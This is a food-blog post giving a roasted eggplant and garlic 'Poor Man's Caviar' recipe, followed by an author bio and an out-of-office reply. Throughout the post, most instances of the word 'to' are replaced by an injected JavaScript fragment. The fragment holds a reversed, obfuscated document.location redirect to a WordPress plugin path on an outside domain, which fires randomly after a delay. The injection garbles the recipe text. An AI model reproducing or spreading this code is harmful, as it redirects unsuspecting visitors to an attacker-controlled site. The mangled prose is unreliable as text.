Poor Man’s Caviar

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:5px;float:left;color:white;background:#781300;border:1px solid darkkhaki;font-size:100px;line-height:90px;padding-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:1px;padding-right:5px;font-family:times;”>Dear Diva Readers,

Earlier this week, CHEF in BERLIN guest blogged on The Antiques Diva ® site giving all the Diva Details of Caviar. At the end of the her article she mentioned something called “Poor Man’s Caviar” – a French dish that bakes whole eggplants and mixes them with a head of garlic toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make “Caviar D’Aubergine”

CHEF in BERLIN explains that when you roast a whole eggplant it’s center becomes warm and mushy – add toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to that a whole roasted garlic clove – and it’s diva divine party food! She advices “Add some freshly grated parmesan cheese, sea salt and pepper. Easy, tasty and ever-so-simple.”

CHEF in BERLIN goes on toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to explain, “There are lots of alternatives toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to this recipe with the addition of lentils, peppers and other stuff but in my mind – simplicity works well here. Slather it on a chunky baguette, and sip some champagne.”

Poor Man’s Caviar – preheat oven toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 350F/170C

1 whole eggplant (washed)
1 whole head garlic
1/3 cup parmesan cheese
1 tablespoon lime or lemon juice
2 teaspoon oil
salt & pepper toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to taste

Scrub the eggplant and poke it several times with a fork. Place it on a foil lined baking sheet. Cut the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top off a head of garlic, drizzle it with oil and loosely pack it in foil. Put it on the same sheet as the eggplant and bake for 45-60 minutes. It’s cooked when the eggplant deflates. When cool, slice open eggplant an scoop out the flesh and put it in the blender. Squeeze out the garlic and add it with the remaining ingredients. Puree, et voila! You can also add a few teaspoons of Sambal Olek toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jazz up the taste. Bon Appetit!

Take a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tongue in cheek approach toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to entertaining and pair your dip with individual caviar servers for diva entertaining at its finest!

Happy Cooking,

The Antiques Diva

P.S. Shop our Designer Tag Sale for more caviar accessories!

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Author: Toma Clark Haines

Toma Clark Haines is a Global Tastemaker, Speaker, Writer & Entrepreneur; and founder and CEO The Antiques Diva® & Co, Europe, Asia and America's largest Antiques Sourcing & Touring Company.

2 thoughts on “Poor Man’s Caviar”

    1. Holland, Belgium, France… here I come! On the road again, with The Antiques Diva & Co. While I’m away on business, I will have limited access to email – so to make sure your email catches my eye, make sure to respond with URGENT in the title if the message is time sensitive! If this is regarding tours, the online store or public relations you get double priority!

      I’ll be in touch as soon as possible!

      Merci,
      Toma Haines
      AKA, The Antiques Diva

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